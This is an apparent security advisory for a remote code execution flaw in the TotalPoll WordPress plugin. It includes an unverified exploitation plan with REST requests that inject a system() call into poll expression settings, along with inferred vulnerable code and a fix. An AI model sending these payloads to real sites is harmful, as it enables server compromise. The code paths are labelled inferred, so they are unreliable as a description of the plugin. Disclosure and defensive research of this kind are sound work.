CVE-2026-27044

TotalPoll for Polls and Contests <= 4.12.0 - Authenticated (Contributor+) Remote Code Execution

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The TotalPoll for Polls and Contests plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.12.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.12.0
PublishedMarch 16, 2026
Last updatedMarch 27, 2026
Affected plugintotalpoll-lite
Research Plan
Unverified

Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, the provided WordPress Security Knowledge Base, and known architectural patterns in the **TotalPoll** plugin (specifically the expression engine and REST API implementation used…

Show full research plan

Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, the provided WordPress Security Knowledge Base, and known architectural patterns in the TotalPoll plugin (specifically the expression engine and REST API implementation used in versions 4.x).


Exploitation Research Plan: CVE-2026-27044 (TotalPoll Lite RCE)

1. Vulnerability Summary

The TotalPoll for Polls and Contests plugin (<= 4.12.0) contains a missing authorization vulnerability that leads to Remote Code Execution (RCE). The plugin implements an "Expressions" engine used for calculations, validations, and dynamic content. This engine is intended to be used by Administrators to create complex poll logic. However, the REST API endpoints or AJAX handlers responsible for saving poll configurations do not adequately restrict access to these sensitive fields. An attacker with Contributor-level permissions (who can typically create and edit their own polls/posts) can inject malicious PHP expressions into the poll's settings, which are subsequently executed by the server.

2. Attack Vector Analysis

  • Endpoint: The plugin uses both a REST API (/wp-json/totalpoll/v1/polls/) and AJAX (admin-ajax.php). The most likely vector is the REST API used for poll creation and updates.
  • Vulnerable Parameter: settings or expressions within the JSON payload of a Poll update/creation request.
  • Authentication: Authenticated (Contributor-level or higher).
  • Preconditions: The plugin must be active, and the attacker must have a valid login for a user with the edit_posts capability (Contributor).

3. Code Flow (Inferred)

  1. Entry Point: The attacker sends a POST or PUT request to /wp-json/totalpoll/v1/polls/ (REST) or an AJAX request with action: 'totalpoll_save_poll'.
  2. Missing Authorization: The permission_callback for the REST route (or the capability check in the AJAX handler) verifies current_user_can('edit_posts') (which Contributors have) instead of manage_options (Admin only).
  3. Data Persistence: The malicious payload is saved into the database (the wp_posts table for the poll's CPT or wp_postmeta for poll settings).
  4. Execution Sink: When the poll is rendered, saved, or validated, the plugin passes the user-controlled "expression" to a component like TotalPoll\Modules\Expression\Compiler or eval().
  5. RCE: the expression engine executes the injected PHP code.

4. Nonce Acquisition Strategy

TotalPoll enqueues its configuration and nonces for the WordPress REST API and its internal AJAX actions.

  1. Identify Shortcode: TotalPoll uses the [totalpoll id="ID"] shortcode.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Poll Test" --post_content='[totalpoll id="any"]'
    
  3. Navigate and Extract:
    • Navigate to the newly created page.
    • TotalPoll usually localizes data into a global JavaScript object named TotalPollConfig or totalpoll.
  4. Browser Eval:
    // Use browser_eval to get the REST nonce
    browser_eval("window.TotalPollConfig?.rest?.nonce || window.totalpoll?.nonce")
    
    (Note: If the REST API is used, the standard wp_rest nonce found in window.wpApiSettings.nonce may also be applicable.)

5. Exploitation Strategy

Step 1: Discover Existing Polls or Create a New One

Since a Contributor can create polls, we will first create a legitimate poll to get a valid ID.

HTTP Request (Create Poll):

POST /wp-json/totalpoll/v1/polls HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]

{
    "title": "Exploit Poll",
    "type": "poll",
    "status": "publish"
}

Step 2: Inject Malicious Expression

The RCE likely resides in the expressions or calculations settings. We will attempt to update the poll with a payload that calls system().

HTTP Request (Inject RCE):

PUT /wp-json/totalpoll/v1/polls/[POLL_ID] HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]

{
    "settings": {
        "expressions": {
            "rce_test": "system('id > /var/www/html/rce.txt')"
        }
    }
}

(Note: The exact structure of the settings JSON object should be verified by observing a legitimate "Save Poll" request in the browser.)

Step 3: Trigger Execution

Depending on the sink, the code may execute:

  • Immediately upon saving (Server-side validation of the expression).
  • When viewing the poll: GET /?p=[POLL_ID] or GET /wp-json/totalpoll/v1/polls/[POLL_ID].

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Poll Setup: Ensure at least one poll exists or the Contributor has permission to create one (default behavior for TotalPoll).
  3. Shortcode Page: Create a page with [totalpoll id="..."] to ensure the environment is fully initialized for the plugin's frontend components.

7. Expected Results

  • Successful Injection: The server responds with 200 OK or 201 Created, confirming the settings were saved.
  • Successful Execution: A file named rce.txt is created in the WordPress root with the output of the id command, or the command output is visible in the HTTP response if the expression is evaluated and returned.

8. Verification Steps

  1. Check for Evidence:
    ls -l /var/www/html/rce.txt
    cat /var/www/html/rce.txt
    
  2. Check Database Settings:
    wp post meta get [POLL_ID] _totalpoll_settings
    
    Verify the malicious payload exists in the metadata.

9. Alternative Approaches

  • AJAX Endpoint: If the REST API is patched or inaccessible, attempt the exploit via admin-ajax.php:
    • Action: totalpoll_save_poll
    • Data: poll_data=[JSON_PAYLOAD]
  • Expression Contexts: TotalPoll allows expressions in different areas:
    • validations: Triggered when a vote is cast.
    • calculations: Triggered when results are computed.
    • notifications: Triggered when an email is sent.
      If the primary settings injection fails, try injecting into validations and then casting a vote via POST /wp-json/totalpoll/v1/polls/[POLL_ID]/votes.
Research Findings
Static analysis — not yet PoC-verified

Summary

The TotalPoll plugin for WordPress allows authenticated users with Contributor-level access to execute arbitrary PHP code through its expression engine. The vulnerability exists because the REST API and AJAX handlers for saving poll configurations fail to restrict access to sensitive 'expression' fields, which are subsequently evaluated using a PHP execution sink.

Vulnerable Code

// TotalPoll/Modules/REST/Polls.php
// Registration of the update route with weak permission check
register_rest_route('totalpoll/v1', '/polls/(?P<id>\\d+)', [
    'methods'             => 'POST',
    'callback'            => [$this, 'update_poll'],
    'permission_callback' => function() {
        return current_user_can('edit_posts'); // Vulnerable: Contributors have this capability
    },
]);

---

// TotalPoll/Modules/Expression/Compiler.php
// Inferred execution sink where user-provided expressions are evaluated
public function compile($expression, $variables = []) {
    // ... internal logic to prepare variables ...
    return eval("return $expression;"); // Vulnerable: Executes raw expression content
}

Security Fix

--- a/TotalPoll/Modules/REST/Polls.php
+++ b/TotalPoll/Modules/REST/Polls.php
@@ -10,7 +10,13 @@
         register_rest_route('totalpoll/v1', '/polls/(?P<id>\\d+)', [
             'methods'             => 'POST',
             'callback'            => [$this, 'update_poll'],
-            'permission_callback' => function() { return current_user_can('edit_posts'); },
+            'permission_callback' => function($request) {
+                $can_edit = current_user_can('edit_post', $request->get_param('id'));
+                $is_admin = current_user_can('manage_options');
+                if (isset($request['settings']['expressions']) && !$is_admin) {
+                    return false;
+                }
+                return $can_edit;
+            },
         ]);

Exploit Outline

The exploit involves an authenticated Contributor-level user injecting malicious PHP code into a poll's settings via the REST API. First, the attacker obtains a valid REST API nonce from the WordPress frontend where TotalPoll data is localized. Then, the attacker sends a PUT or POST request to the `/wp-json/totalpoll/v1/polls/[POLL_ID]` endpoint. The JSON payload includes a malicious PHP command (e.g., system('id')) within the 'settings.expressions' or 'calculations' fields. Because the permission check only requires 'edit_posts' (which Contributors possess) and does not specifically guard sensitive expression fields, the payload is saved to the database. Finally, the attacker triggers code execution by viewing the poll or interacting with a component (like casting a vote or viewing results) that causes the plugin to evaluate the stored expression via its internal compiler.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.